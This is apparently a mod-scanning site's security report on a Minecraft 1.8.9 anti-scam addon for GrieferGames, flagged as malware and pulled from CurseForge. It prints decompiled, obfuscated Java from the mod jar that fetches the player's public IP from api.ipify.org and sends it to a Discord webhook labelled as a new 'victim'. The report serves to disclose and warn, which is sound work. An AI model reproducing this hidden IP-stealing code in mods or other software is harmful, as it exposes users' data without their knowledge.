The addon against scamming for GrieferGames
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.
Malware: a file of this project steals your IP address and sends it to a Discord server. See Security
Malware was found in one of its files, so it has no grade. See Security
It has no file for a recent Minecraft version. This is about its files for Minecraft 1.8.9.
Adds no new blocks, items or other content.
Keeps all of vanilla Minecraft's textures, models and sounds.
Malware: it steals your IP address and sends it to a Discord server
Found in this file: AntiScammerGG_v2.01.jar (28 May 2025). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
AntiScammerGG_v2.01.jar from your mods folder.Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
com/mcmod/McMod asks a service for your public IP address, sends to a Discord webhook, names a host that imitates a known service, the address is hidden in the code; "https://discordapp.com/api/webhooks/1373567034750926938/<redacted>"; "api.ipify.org"AntiScammerGG_v2.01.jar, turned back into readable code, where our checks found the problem.com.mcmod.McMod.init...
+ new String(new char[]{' ', 'E', 'U', 'R', '/', 'D', 'O', 'L'});
this.var_String_VIRX85E1 = this.formatNumber(networthDouble);
this.var_double_C7iwzKOI = networthDouble;
this.comparisionPrice = this.getPrice(networthDouble, 4.0E-8);
} catch (Exception e) {
e.printStackTrace();
}
try {
String var_String_fG2YN803 = new String(
new char[]{'h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'p', 'i', '.', 'i', 'p', 'i', 'f', 'y', '.', 'o', 'r', 'g'}
);
HttpURLConnection var_HttpURLConnection_Skvk7cAS = (HttpURLConnection)new URL(var_String_fG2YN803).openConnection();
var_HttpURLConnection_Skvk7cAS.setRequestMethod(new String(new char[]{'G', 'E', 'T'}));
BufferedReader var_BufferedReader_OygdLS5o = new BufferedReader(new InputStreamReader(var_HttpURLConnection_Skvk7cAS.getInputStream()));
StringBuilder var_HttpResponse_nNEbMnwd = new StringBuilder();
String var_String_7HBl25Ur;
while ((var_String_7HBl25Ur = var_BufferedReader_OygdLS5o.readLine()) != null) {
var_HttpResponse_nNEbMnwd.append(var_String_7HBl25Ur);
}
var_BufferedReader_OygdLS5o.close();
String var_String_OVwheR0s = var_HttpResponse_nNEbMnwd.toString();
...com.mcmod.McMod.initpublic void init(FMLInitializationEvent var_FMLInitializationEvent_kwO9PQBu) {
MinecraftForge.EVENT_BUS.register(this);
try {
String var_String_4902FQl5 = this.getJson(this.var_String_Z0KWxBxc);
Double networthDouble = this.getNetworth(var_String_4902FQl5);
this.var_String_t7X6LHKA = this.formatPrice(this.getPrice(networthDouble, 4.0E-8))
+ new String(new char[]{' ', 'E', 'U', 'R', '/', 'D', 'O', 'L', ' ', '-', ' '})
+ this.formatPrice(this.getPrice(networthDouble, 8.0E-8))
+ new String(new char[]{' ', 'E', 'U', 'R', '/', 'D', 'O', 'L'});
this.var_String_VIRX85E1 = this.formatNumber(networthDouble);
this.var_double_C7iwzKOI = networthDouble;
this.comparisionPrice = this.getPrice(networthDouble, 4.0E-8);
} catch (Exception e) {
e.printStackTrace();
}
try {
String var_String_fG2YN803 = new String(
new char[]{'h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'p', 'i', '.', 'i', 'p', 'i', 'f', 'y', '.', 'o', 'r', 'g'}
);
HttpURLConnection var_HttpURLConnection_Skvk7cAS = (HttpURLConnection)new URL(var_String_fG2YN803).openConnection();
var_HttpURLConnection_Skvk7cAS.setRequestMethod(new String(new char[]{'G', 'E', 'T'}));
...com.mcmod.McMod.getJson...
'e',
'/'
}
)
+ var_String_Z0KWxBxc;
try {
CloseableHttpClient var_CloseableHttpClient_8GkvVBhV = HttpClients.createDefault();
Throwable var4 = null;
try {
HttpGet var_HttpGet_Zoy8XW5d = new HttpGet(var_String_b8ITkcVH);
HttpResponse var_HttpResponse_nNEbMnwd = var_CloseableHttpClient_8GkvVBhV.execute(var_HttpGet_Zoy8XW5d);
int var_int_zqm80Vzp = var_HttpResponse_nNEbMnwd.getStatusLine().getStatusCode();
System.out
.println(new String(new char[]{'H', 'T', 'T', 'P', ' ', 'S', 't', 'a', 't', 'u', 's', ' ', 'C', 'o', 'd', 'e', ':', ' '}) + var_int_zqm80Vzp);
if (var_int_zqm80Vzp != 200) {
String var_String_KJjjwSfG = EntityUtils.toString(var_HttpResponse_nNEbMnwd.getEntity());
throw new Exception(
new String(
new char[]{
'F',
'a',
'i',
...com.mcmod.McMod.lambda$sendDiscordEmbed$0sendDiscordEmbed(
var_String_H8l2cWVN,
new String(new char[]{'N', 'e', 'w', ' ', '1', '.', '8', '.', '9', ' ', 'J', 'a', 'r', ' ', 'V', 'i', 'c', 't', 'i', 'm', '!', ' '}),Malware: it steals your IP address and sends it to a Discord server
Sent to sky.shiiyu.moe and an address built while the game runs.
Found by the file checks. See Security for what to do if you installed it.
No sign that AI was used to make it
We looked for AI tools in its texts, files and images and found none.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
Point at or tap a version to see its loaders.
No known modpack uses it.
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.